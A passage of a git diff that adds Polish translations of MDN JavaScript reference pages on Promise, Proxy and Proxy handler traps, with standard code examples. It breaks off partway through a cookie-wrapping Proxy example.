id="Opis">Opis</h2> + +<p><code><strong>Promise</strong></code> jest proxy dla wartości niekoniecznie znanej, gdy jest tworzona. Pozwala na kojarzenie uchwytu z ewentualnym sukcesem lub porażką asynchroniczne akcji. Pozwala to metodom asynchronicznym zwracać wartości takie jak metody synchroniczne, zamiast natychmiastowego zwracania wartości końcowej, metoda asynchroniczna zwraca <em>obietnicę </em>dostarczenia wartości w pewnym momencie w przyszłości.</p> + +<p><code>Promise</code> jest dostępny w jednym z tych stanów:</p> + +<ul> + <li><em>pending</em>: stan inicjacji, ani wypełnione, ani odrzucone.</li> + <li><em>fulfilled</em>: operacja zakończona sukcesem.</li> + <li><em>rejected</em>: operacja zakończona porażką.</li> +</ul> + +<p>Obowiązująca objetnica może być <em>zakończona </em>z wartością lub <em>odrzucona </em>z powodem(błędem). Kiedy dzieje się jedna z tych opcji, wywoływane są zakolejkowane, powiązane za pomocą metody <code>then</code> procedury. (Jeśli obietnica została już spełniona lub odrzucona, gdy dołączony jest odpowiedni moduł obsługi, zostanie on wywołany, więc nie ma potrzeby wyścigu między zakończeniem operacji asynchronicznej a jej obsługą).</p> + +<p>Tak jak w <code>{{jsxref("Promise.then", "Promise.prototype.then()")}}</code> oraz <code>{{jsxref("Promise.catch", "Promise.prototype.catch()")}}</code> gdy metoda zwróci obietnice, mogą one być łączone w łańcuchy.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/8633/promises.png" style="height: 297px; width: 801px;"></p> + +<div class="note"> +<p><strong>Nie mylić z:</strong> Kilka innych języków ma mechanizmy leniwego oceniania i odraczania obliczeń, które nazywają również "obietnicami", np. Scheme. Obietnice w JavaScript oznaczają procesy, które już się odbywają, które mogą być powiązane z funkcjami wywołania zwrotnego. Jeśli chcesz leniwie oceniać wyrażenie, rozważ <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">funkcje strzałkowe</a> bez argumentów: <code>f = () => <em>wyrażenie</em></code> by stworzyć leniwo oszacowane wyrażenie, i <code>f()</code> by ocenić.</p> +</div> + +<div class="note"> +<p>Mówi się, że obietnica zostanie uregulowana, jeśli zostanie spełniona lub odrzucona, ale nie oczekuje na rozpatrzenie. Usłyszysz także termin <em>rozwiązany </em>używany z obietnicami - oznacza to, że obietnica jest ustalona lub "zamknięta", aby dopasować się do stanu innej obietnicy. <a href="https://github.com/domenic/promises-unwrapping/blob/master/docs/states-and-fates.md">Stany i losy</a> zawierają więcej szczegółów na temat obiecanej terminologii.</p> +</div> + +<h2 id="Właściwości">Właściwości</h2> + +<dl> + <dt><code>Promise.length</code></dt> + <dd>Właściwość Length, której wartość wynosi zawsze 1 (liczba argumentów konstruktora).</dd> + <dt>{{jsxref("Promise.prototype")}}</dt> + <dd>Reprezentuje prototyp konstruktora <code>Promise</code>.</dd> +</dl> + +<h2 id="Metody">Metody</h2> + +<dl> + <dt>{{jsxref("Promise.all", "Promise.all(iterable)")}}</dt> + <dd>Zwraca obietnice, która albo kończy się sukcesem gdy wszystkie z obietnic w <code>iterable</code> się zakończą powodzeniem lub kończy sie porażką tak szybko jak jedna z obietnic skończy się porażką. Jeżeli zwrócona obietnica kończy się sukcesem jest ona wypełniana tablicą wartości z obietnic zakończonych sukcesem w takim samym układzie jak były one zdefiniowane w <code>iterable</code>. Jeżeli zwrócona obietnica zakończyła się porażką, jest ona odrzucana z Powodem z pierwszej obietnicy w <code>iterable</code>, która zakończyła się porażką. Ta metoda może być pomocna do zachowywania rezultatów różnych obietnic.</dd> + <dt>{{jsxref("Promise.race", "Promise.race(iterable)")}}</dt> + <dd>Returns a promise that fulfills or rejects as soon as one of the promises in the iterable fulfills or rejects, with the value or reason from that promise.</dd> +</dl> + +<dl> + <dt>{{jsxref("Promise.reject", "Promise.reject(reason)")}}</dt> + <dd>Returns a <code>Promise</code> object that is rejected with the given reason.</dd> +</dl> + +<dl> + <dt>{{jsxref("Promise.resolve", "Promise.resolve(value)")}}</dt> + <dd>Returns a <code>Promise</code> object that is resolved with the given value. If the value is a thenable (i.e. has a <code>then</code> method), the returned promise will "follow" that thenable, adopting its eventual state; otherwise the returned promise will be fulfilled with the value. Generally, if you don't know if a value is a promise or not, {{jsxref("Promise.resolve", "Promise.resolve(value)")}} it instead and work with the return value as a promise.</dd> +</dl> + +<h2 id="Promise_prototype">Promise prototype</h2> + +<h3 id="Właściwości_2">Właściwości</h3> + +<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Promise/prototype','Properties')}}</p> + +<h3 id="Metody_2">Metody</h3> + +<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Promise/prototype','Methods')}}</p> + +<h2 id="Tworzenie_Promise">Tworzenie Promise</h2> + +<p>A <code>Promise</code> object is created using the <code>new </code>keyword and its constructor. This constructor takes as its argument a function, called the "executor function". This function should take two functions as parameters. The first of these functions (<code>resolve</code>) is called when the asynchronous task completes successfully and returns the results of the task as a value. The second (<code>reject</code>) is called when the task fails, and returns the reason for failure, which is typically an error object.</p> + +<pre class="brush: js notranslate">const myFirstPromise = new Promise((resolve, reject) => { + // do something asynchronous which eventually calls either: + // + // resolve(someValue); // fulfilled + // or + // reject("failure reason"); // rejected +}); +</pre> + +<p>To provide a function with promise functionality, simply have it return a promise:</p> + +<pre class="brush: js notranslate">function myAsyncFunction(url) { + return new Promise((resolve, reject) => { + const xhr = new XMLHttpRequest(); + xhr.open("GET", url); + xhr.onload = () => resolve(xhr.responseText); + xhr.onerror = () => reject(xhr.statusText); + xhr.send(); + }); +}</pre> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Podstawowy_przykład">Podstawowy przykład</h3> + +<pre class="brush: js notranslate">let myFirstPromise = new Promise((resolve, reject) => { + // We call resolve(...) when what we were doing asynchronously was successful, and reject(...) when it failed. + // In this example, we use setTimeout(...) to simulate async code. + // In reality, you will probably be using something like XHR or an HTML5 API. + setTimeout(function(){ + resolve("Success!"); // Yay! Everything went well! + }, 250); +}); + +myFirstPromise.then((successMessage) => { + // successMessage is whatever we passed in the resolve(...) function above. + // It doesn't have to be a string, but if it is only a succeed message, it probably will be. + console.log("Yay! " + successMessage); +}); +</pre> + +<h3 id="Zaawansowany_Przykład">Zaawansowany Przykład</h3> + +<pre class="brush: html hidden notranslate"><button id="btn">Make a promise!</button> +<div id="log"></div> +</pre> + +<p>This small example shows the mechanism of a <code>Promise</code>. The <code>testPromise()</code> method is called each time the {{HTMLElement("button")}} is clicked. It creates a promise that will be fulfilled, using {{domxref("window.setTimeout()")}}, to the promise count (number starting from 1) every 1-3 seconds, at random. The <code>Promise()</code> constructor is used to create the promise.</p> + +<p>The fulfillment of the promise is simply logged, via a fulfill callback set using {{jsxref("Promise.prototype.then()","p1.then()")}}. A few logs show how the synchronous part of the method is decoupled from the asynchronous completion of the promise.</p> + +<pre class="brush: js notranslate">'use strict'; +var promiseCount = 0; + +function testPromise() { + let thisPromiseCount = ++promiseCount; + + let log = document.getElementById('log'); + log.insertAdjacentHTML('beforeend', thisPromiseCount + + ') Started (<small>Sync code started</small>)<br/>'); + + // We make a new promise: we promise a numeric count of this promise, starting from 1 (after waiting 3s) + let p1 = new Promise( + // The resolver function is called with the ability to resolve or + // reject the promise + (resolve, reject) => { + log.insertAdjacentHTML('beforeend', thisPromiseCount + + ') Promise started (<small>Async code started</small>)<br/>'); + // This is only an example to create asynchronism + window.setTimeout( + function() { + // We fulfill the promise ! + resolve(thisPromiseCount); + }, Math.random() * 2000 + 1000); + } + ); + + // We define what to do when the promise is resolved with the then() call, + // and what to do when the promise is rejected with the catch() call + p1.then( + // Log the fulfillment value + function(val) { + log.insertAdjacentHTML('beforeend', val + + ') Promise fulfilled (<small>Async code terminated</small>)<br/>'); + }) + .catch( + // Log the rejection reason + (reason) => { + console.log('Handle rejected promise ('+reason+') here.'); + }); + + log.insertAdjacentHTML('beforeend', thisPromiseCount + + ') Promise made (<small>Sync code terminated</small>)<br/>'); +}</pre> + +<pre class="brush:js hidden notranslate">if ("Promise" in window) { + let btn = document.getElementById("btn"); + btn.addEventListener("click",testPromise); +} else { + log = document.getElementById('log'); + log.innerHTML = "Live example not available as your browser doesn't support the <code>Promise<code> interface."; +} +</pre> + +<p>This example is started by clicking the button. You need a browser that supports <code>Promise</code>. By clicking the button several times in a short amount of time, you'll even see the different promises being fulfilled one after another.</p> + +<p>{{EmbedLiveSample("Advanced_Example", "500", "200")}}</p> + +<h2 id="Ładowanie_obrazka_z_XHR">Ładowanie obrazka z XHR</h2> + +<p>Another simple example using <code>Promise</code> and <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> to load an image is available at the MDN GitHub<a href="https://github.com/mdn/js-examples/tree/master/promises-test"> js-examples</a> repository. You can also <a href="https://mdn.github.io/js-examples/promises-test/">see it in action</a>. Each step is commented and allows you to follow the Promise and XHR architecture closely.</p> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-promise-objects', 'Promise')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition in an ECMA standard.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-promise-objects', 'Promise')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2> + +<p class="hidden">To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p> + +<p>{{Compat("javascript.builtins.Promise")}}</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Guide/Using_promises">Using promises</a></li> + <li><a href="http://promisesaplus.com/">Promises/A+ specification</a></li> + <li><a href="https://medium.com/@ramsunvtech/promises-of-promise-part-1-53f769245a53">Venkatraman.R - JS Promise (Part 1, Basics)</a></li> + <li><a href="https://medium.com/@ramsunvtech/js-promise-part-2-q-js-when-js-and-rsvp-js-af596232525c#.dzlqh6ski">Venkatraman.R - JS Promise (Part 2 - Using Q.js, When.js and RSVP.js)</a></li> + <li><a href="https://tech.io/playgrounds/11107/tools-for-promises-unittesting/introduction">Venkatraman.R - Tools for Promises Unit Testing</a></li> + <li><a href="http://www.html5rocks.com/en/tutorials/es6/promises/">Jake Archibald: JavaScript Promises: There and Back Again</a></li> + <li><a href="http://de.slideshare.net/domenicdenicola/callbacks-promises-and-coroutines-oh-my-the-evolution-of-asynchronicity-in-javascript">Domenic Denicola: Callbacks, Promises, and Coroutines – Asynchronous Programming Patterns in JavaScript</a></li> + <li><a href="http://www.mattgreer.org/articles/promises-in-wicked-detail/">Matt Greer: JavaScript Promises ... In Wicked Detail</a></li> + <li><a href="https://www.promisejs.org/">Forbes Lindesay: promisejs.org</a></li> + <li><a href="https://github.com/jakearchibald/es6-promise/">Promise polyfill</a></li> + <li><a href="https://www.udacity.com/course/javascript-promises--ud898">Udacity: JavaScript Promises</a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/proxy/handler/apply/index.html b/files/pl/web/javascript/referencje/obiekty/proxy/handler/apply/index.html new file mode 100644 index 0000000000..4931dd2beb --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/proxy/handler/apply/index.html @@ -0,0 +1,117 @@ +--- +title: handler.apply() +slug: Web/JavaScript/Referencje/Obiekty/Proxy/handler/apply +tags: + - ECMAScript 2015 + - JavaScript + - Metodă + - Proxy +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply +--- +<div>{{JSRef}}</div> + +<p>Metoda <strong><code>handler.apply()</code></strong> jest pułapką na wywołanie funkcji.</p> + +<div>{{EmbedInteractiveExample("pages/js/proxyhandler-apply.html", "taller")}}</div> + + + +<h2 id="Składnia">Składnia</h2> + +<pre class="brush: js">var p = new Proxy(target, { + apply: function(target, thisArg, argumentsList) { + } +}); +</pre> + +<h3 id="Parametry">Parametry</h3> + +<p>Następujące parametry są przekazywane do metody <code>apply</code>. Wartością <code>this</code> jest handler.</p> + +<dl> + <dt><code>target</code></dt> + <dd>Obiekt, na którym została wywołana metoda.</dd> + <dt><code>thisArg</code></dt> + <dd>Obiekt, który jest <code>this</code> w metodzie.</dd> + <dt><code>argumentsList</code></dt> + <dd>Lista argumentów, które zostały przekazane do metody.</dd> +</dl> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>Metoda <code>apply</code> może zwrócić dowolną wartość.</p> + +<h2 id="Opis">Opis</h2> + +<p>Metoda <code><strong>handler.apply</strong></code> jest pułapką na wywołanie funkcji.</p> + +<h3 id="Przechwycenia">Przechwycenia</h3> + +<p>Ta pułapka może przechwycić poniższe operacje:</p> + +<ul> + <li><code>proxy(...args)</code></li> + <li>{{jsxref("Function.prototype.apply()")}} i {{jsxref("Function.prototype.call()")}}</li> + <li>{{jsxref("Reflect.apply()")}}</li> +</ul> + +<h3 id="Niezmienniki">Niezmienniki</h3> + +<p>Jeśli poniższe zmiemienniki są naruszone, poxy rzuci wyjątek TypeError:</p> + +<p><code>target</code> musi być obiektem, który da się wywołać. To znaczy, że musi być obiektem funkcyjnym.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<p>Poniższy kod przechwytuje wywołanie funkcji.</p> + +<pre class="brush: js">var p = new Proxy(function() {}, { + apply: function(target, thisArg, argumentsList) { + console.log('called: ' + argumentsList.join(', ')); + return argumentsList[0] + argumentsList[1] + argumentsList[2]; + } +}); + +console.log(p(1, 2, 3)); // "called: 1, 2, 3" + // 6 +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Początkowa definicja.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2> + +<div> + + +<p>{{Compat("javascript.builtins.Proxy.handler.apply")}}</p> +</div> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("Proxy")}}</li> + <li>{{jsxref("Proxy.handler", "handler")}}</li> + <li>{{jsxref("Function.prototype.apply")}}</li> + <li>{{jsxref("Function.prototype.call")}}</li> + <li>{{jsxref("Reflect.apply()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/proxy/handler/index.html b/files/pl/web/javascript/referencje/obiekty/proxy/handler/index.html new file mode 100644 index 0000000000..15fbc4d469 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/proxy/handler/index.html @@ -0,0 +1,77 @@ +--- +title: Proxy handler +slug: Web/JavaScript/Referencje/Obiekty/Proxy/handler +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy +--- +<div>{{JSRef}}</div> + +<p>Obiekt obsługujący proxy (proxy's handler object) jest obiektem zastępczym który zawiera pułapki dla obiektów {{jsxref("Proxy", "proxy", "", 1)}}.</p> + +<h2 id="Metody">Metody</h2> + +<p>Wszystkie pułapki są opcjonalne. Jeśli pułapka nie została zdefiniowana, domyślnym zachowaniem jest przekazanie operacji do obiektu docelowego.</p> + +<dl> + <dt>{{jsxref("Global_Objects/Proxy/handler/getPrototypeOf", "handler.getPrototypeOf()")}}</dt> + <dd>Pułapka na {{jsxref("Object.getPrototypeOf")}}.</dd> + <dt>{{jsxref("Global_Objects/Proxy/handler/setPrototypeOf", "handler.setPrototypeOf()")}}</dt> + <dd>Pułapka na {{jsxref("Object.setPrototypeOf")}}.</dd> + <dt>{{jsxref("Global_Objects/Proxy/handler/isExtensible", "handler.isExtensible()")}}</dt> + <dd>Pułapka na {{jsxref("Object.isExtensible")}}.</dd> + <dt>{{jsxref("Global_Objects/Proxy/handler/preventExtensions", "handler.preventExtensions()")}}</dt> + <dd>Pułapka na {{jsxref("Object.preventExtensions")}}.</dd> + <dt>{{jsxref("Global_Objects/Proxy/handler/getOwnPropertyDescriptor", "handler.getOwnPropertyDescriptor()")}}</dt> + <dd>Pułapka na {{jsxref("Object.getOwnPropertyDescriptor")}}.</dd> + <dt>{{jsxref("Global_Objects/Proxy/handler/defineProperty", "handler.defineProperty()")}}</dt> + <dd>Pułapka na {{jsxref("Object.defineProperty")}}.</dd> + <dt>{{jsxref("Global_Objects/Proxy/handler/has", "handler.has()")}}</dt> + <dd>Pułapka na operator {{jsxref("Operators/in", "in")}}.</dd> + <dt>{{jsxref("Global_Objects/Proxy/handler/get", "handler.get()")}}</dt> + <dd>Pułapka na pobieranie wartości atrybutu.</dd> + <dt>{{jsxref("Global_Objects/Proxy/handler/set", "handler.set()")}}</dt> + <dd>Pułapka na ustawianie wartości atrybutu.</dd> + <dt>{{jsxref("Global_Objects/Proxy/handler/deleteProperty", "handler.deleteProperty()")}}</dt> + <dd>Pułapka na operator {{jsxref("Operators/delete", "delete")}}.</dd> + <dt>{{jsxref("Global_Objects/Proxy/handler/ownKeys", "handler.ownKeys()")}}</dt> + <dd>Pułapka na {{jsxref("Object.getOwnPropertyNames")}} i {{jsxref("Object.getOwnPropertySymbols")}}.</dd> + <dt>{{jsxref("Global_Objects/Proxy/handler/apply", "handler.apply()")}}</dt> + <dd>Pułapka na wywołanie funkcji.</dd> + <dt>{{jsxref("Global_Objects/Proxy/handler/construct", "handler.construct()")}}</dt> + <dd>Pułapka na operator {{jsxref("Operators/new", "new")}}.</dd> +</dl> + +<p>Niektóre niestandardowe pułapki są <a href="/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features#Proxy">przestarzałe i zostały usunięte</a>.</p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Początkowa definicja.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td>Usunięto funkcję obsługującą <code>enumerate</code>.</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2> + + + +<p>{{Compat("javascript.builtins.Proxy.handler")}}</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("Proxy")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/proxy/index.html b/files/pl/web/javascript/referencje/obiekty/proxy/index.html new file mode 100644 index 0000000000..7dc7695f00 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/proxy/index.html @@ -0,0 +1,401 @@ +--- +title: Proxy +slug: Web/JavaScript/Referencje/Obiekty/Proxy +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy +--- +<div> +<div>{{JSRef}}</div> +</div> + +<p>Obiekt <strong>Proxy</strong> jest używany w celu definiowania specyficznego zachowania dla podstawowych operacji (n.p. wyszukiwanie atrybutu, przypisanie, wyliczanie, wywołanie funkcji, etc).</p> + +<h2 id="Terminologia">Terminologia</h2> + +<dl> + <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler">handler</a></dt> + <dd>Zastępczy obiekt zawierający pułapki (traps).</dd> + <dt>traps</dt> + <dd>Metody zapewniające dostęp do atrybutów. Pojęcie to jest analogiczne do pułapek w systemie operacyjnym.</dd> + <dt>target</dt> + <dd>Obiekt wirtualizowany przez proxy. Często jest używany aby magazyować dane obiektu proxy. Niezmienniki (wartości które pozostają niezmienione) dotyczące nierozszerzalności obiektu lub niekonfigurowalnnych atrybutów są weryfikowane w oparciu o <strong>target</strong>.</dd> +</dl> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">var p = new Proxy(target, handler); +</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>target</code></dt> + <dd>Docelowy obiekt (może być obiektem dowolnego typu, włącznie z wbudowanymi tablicami, funkcjami, a nawet innyi obiektami proxy) przeznaczony do opakowania przez <code>Proxy</code>.</dd> + <dt><code>handler</code></dt> + <dd>Obiekt obsługujący którego atrybuty są funkcjami definiującymi zachowanie proxy podczas wykonania na nim operacji.</dd> +</dl> + +<h2 id="Metody">Metody</h2> + +<dl> + <dt>{{jsxref("Proxy.revocable()")}}</dt> + <dd>Tworzy odwracalny obiekt <code>Proxy</code>.</dd> +</dl> + +<h2 id="Metody_obiektu_obsługującego">Metody obiektu obsługującego</h2> + +<p>Obiekt obsługujący jest obiektem zastępczym zawierającym pułapki dla obieku <code>Proxy</code>.</p> + +<div>{{page('/pl/docs/Web/JavaScript/Referencje/Obiekty/Proxy/handler', 'Metody') }}</div> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Podstawowy_przykład">Podstawowy przykład</h3> + +<p>W tym prostym przykładzie liczba <code>37</code> jest zwracana jako domyślna wartość kiedy nazwa atrybutu nie istnieje w obiekcie. W tym celu użyty jest handler <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/get"><code>get</code></a>.</p> + +<pre class="brush: js">var handler = { + get: function(target, name) { + return name in target ? + target[name] : + 37; + } +}; + +var p = new Proxy({}, handler); +p.a = 1; +p.b = undefined; + +console.log(p.a, p.b); // 1, undefined +console.log('c' in p, p.c); // false, 37 +</pre> + +<h3 id="Puste_proxy_przekazujące">Puste proxy przekazujące</h3> + +<p>W tym przykładzie używamy wbudowanego obiektu JavaScript do którego proxy przekaże wszystkie zaaplikowane na nim operacje.</p> + +<pre class="brush: js">var target = {}; +var p = new Proxy(target, {}); + +p.a = 37; // operacja przekazana do obiektu target + +console.log(target.a); // 37. Operacja została prawidłowo przekazana +</pre> + +<p>Zwróć uwagę, że ten przykład działa dla obiektów JavaScript jednak nie sprawdzi się w przypadku obiektów przeglądarki takich jak elementy DOM. <a href="/en-US/docs/">Sprawdź jedno rozwiązanie</a>.</p> + +<h3 id="Walidacja">Walidacja</h3> + +<p>Używając <code>Proxy</code>, łatwo możesz zwalidować wartości przekazywane do obiektu. Poniższy przykład używa metody obsługującej <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/set"><code>set</code></a>.</p> + +<pre class="brush: js">let validator = { + set: function(obj, prop, value) { + if (prop === 'age') { + if (!Number.isInteger(value)) { + throw new TypeError('The age is not an integer'); + } + if (value > 200) { + throw new RangeError('The age seems invalid'); + } + } + + // domyślnym zachowaniem jest zapisanie wartości + obj[prop] = value; + + // oznacza pomyślne wykonanie + return true; + } +}; + +let person = new Proxy({}, validator); + +person.age = 100; +console.log(person.age); // 100 +person.age = 'young'; // rzuca wyjątek +person.age = 300; // rzuca wyjątek</pre> + +<h3 id="Rozszerzanie_konstruktora">Rozszerzanie konstruktora</h3> + +<p>Funkcja proxy może w łatwy sposób rozszerzyć konstruktor innym konstruktorem. W tym przykładzie użyto funkcje obsługujące <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/construct"><code>construct</code></a> oraz <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/apply"><code>apply</code></a>.</p> + +<pre class="brush: js">function extend(sup, base) { + var descriptor = Object.getOwnPropertyDescriptor( + base.prototype, 'constructor' + ); + base.prototype = Object.create(sup.prototype); + var handler = { + construct: function(target, args) { + var obj = Object.create(base.prototype); + this.apply(target, obj, args); + return obj; + }, + apply: function(target, that, args) { + sup.apply(that, args); + base.apply(that, args); + } + }; + var proxy = new Proxy(base, handler); + descriptor.value = proxy; + Object.defineProperty(base.prototype, 'constructor', descriptor); + return proxy; +} + +var Person = function(name) { + this.name = name; +}; + +var Boy = extend(Person, function(name, age) { + this.age = age; +}); + +Boy.prototype.sex = 'M'; + +var Peter = new Boy('Peter', 13); +console.log(Peter.sex); // "M" +console.log(Peter.name); // "Peter" +console.log(Peter.age); // 13</pre> + +<h3 id="Manipulacja_węzłami_DOM">Manipulacja węzłami DOM</h3> + +<p>Czasami konieczne jest przełączenie atrybutu lub nazwy klasy dwóch innych elementów. Poniższy przykład pokazuje wykonanie funkcją obsługującą <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/set"><code>set</code></a>.</p> + +<pre class="brush: js">let view = new Proxy({ + selected: null +}, +{ + set: function(obj, prop, newval) { + let oldval = obj[prop]; + + if (prop === 'selected') { + if (oldval) { + oldval.setAttribute('aria-selected', 'false'); + } + if (newval) { + newval.setAttribute('aria-selected', 'true'); + } + } + + // The default behavior to store the value + obj[prop] = newval; + + // Indicate success + return true; + } +}); + +let i1 = view.selected = document.getElementById('item-1'); +console.log(i1.getAttribute('aria-selected')); // 'true' + +let i2 = view.selected = document.getElementById('item-2'); +console.log(i1.getAttribute('aria-selected')); // 'false' +console.log(i2.getAttribute('aria-selected')); // 'true'</pre> + +<h3 id="Korekcja_wartości_i_dodatkowych_atrybutów">Korekcja wartości i dodatkowych atrybutów</h3> + +<p>Obiekt proxy <code>products</code> wylicza przekazaną wartość i konwertuje to tablicy w razie potrzeby. Obiekt dodatkowo obsługuje dodatkowy atrybut <code>latestBrowser</code> zarówno jako getter i setter.</p> + +<pre class="brush: js">let products = new Proxy({ + browsers: ['Internet Explorer', 'Netscape'] +}, +{ + get: function(obj, prop) { + // An extra property + if (prop === 'latestBrowser') { + return obj.browsers[obj.browsers.length - 1]; + } + + // The default behavior to return the value + return obj[prop]; + }, + set: function(obj, prop, value) { + // An extra property + if (prop === 'latestBrowser') { + obj.browsers.push(value); + return true; + } + + // Convert the value if it is not an array + if (typeof value === 'string') { + value = [value]; + } + + // The default behavior to store the value + obj[prop] = value; + + // Indicate success + return true; + } +}); + +console.log(products.browsers); // ['Internet Explorer', 'Netscape'] +products.browsers = 'Firefox'; // przekazano string (przez pomyłkę) +console.log(products.browsers); // ['Firefox'] <- nie ma problemu, wartość jest typu array + +products.latestBrowser = 'Chrome'; +console.log(products.browsers); // ['Firefox', 'Chrome'] +console.log(products.latestBrowser); // 'Chrome'</pre> + +<h3 id="Wyszukiwanie_elementu_tablicy_po_jego_właściwości">Wyszukiwanie elementu tablicy po jego właściwości</h3> + +<p>Poniższe proxy rozszerza tablicę o różne użyteczne funkcjonalności. Jak widać, można elastycznie "definiować" właściwości bez użycia <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperties"><code>Object.defineProperties</code></a>. Ten przykład może być użyty aby znaleźć wiersz tabeli po jego komórce. W takim przypadku, celem będzie <a href="/en-US/docs/DOM/table.rows"><code>table.rows</code></a>.</p> + +<pre class="brush: js">let products = new Proxy([ + { name: 'Firefox', type: 'browser' }, + { name: 'SeaMonkey', type: 'browser' }, + { name: 'Thunderbird', type: 'mailer' } +], +{ + get: function(obj, prop) { + // domyślnym zachowaniem jest zwrócenie wartości; prop jest zwykle typu integer + if (prop in obj) { + return obj[prop]; + } + + // zwróć liczbę produktów; alias dla products.length + if (prop === 'number') { + return obj.length; + } + + let result, types = {}; + + for (let product of obj) { + if (product.name === prop) { + result = product; + } + if (types[product.type]) { + types[product.type].push(product); + } else { + types[product.type] = [product]; + } + } + + // znajdź product po nazwie + if (result) { + return result; + } + + // znajdź produkty po typie + if (prop in types) { + return types[prop]; + } + + // zwróć typy produktów + if (prop === 'types') { + return Object.keys(types); + } + + return undefined; + } +}); + +console.log(products[0]); // { name: 'Firefox', type: 'browser' } +console.log(products['Firefox']); // { name: 'Firefox', type: 'browser' } +console.log(products['Chrome']); // undefined +console.log(products.browser); // [{ name: 'Firefox', type: 'browser' }, { name: 'SeaMonkey', type: 'browser' }] +console.log(products.types); // ['browser', 'mailer'] +console.log(products.number); // 3 +</pre> + +<h3 id="Pełna_lista_przykładów_pułapek">Pełna lista przykładów <code>pułapek</code></h3> + +<p>W celu stworzenia pełnej listy przykładów <code>pułapek</code>, w celach dydaktycznych, spróbujemy zastosować proxy na<em>nie natywnym obiekcie </em>który się szczególnie nadaje do tego typu operacji: globalny obiekt <code>docCookies</code> stworzony przez <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie/Simple_document.cookie_framework" title="https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support">"mały framework" opublikowany na stronie <code>document.cookie</code></a>.</p> + +<pre class="brush: js">/* + var docCookies = ... pobranie obiektu "docCookies" tutaj: + https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support +*/ + +var docCookies = new Proxy(docCookies, { + get: function (oTarget, sKey) { + return oTarget[sKey] || oTarget.getItem(sKey) || undefined; + }, + set: function (oTarget, sKey, vValue) { + if (sKey in oTarget) { return false; } + return oTarget.setItem(sKey, vValue); + }, + deleteProperty: function (oTarget, sKey) { + if (sKey in oTarget) { return false; } + return oTarget.removeItem(sKey); + }, + enumerate: function (oTarget, sKey) { + return oTarget.keys(); + }, + ownKeys: function (oTarget, sKey) { + return oTarget.keys(); + }, + has: function (oTarget, sKey) { + return sKey in oTarget || oTarget.hasItem(sKey); + }, + 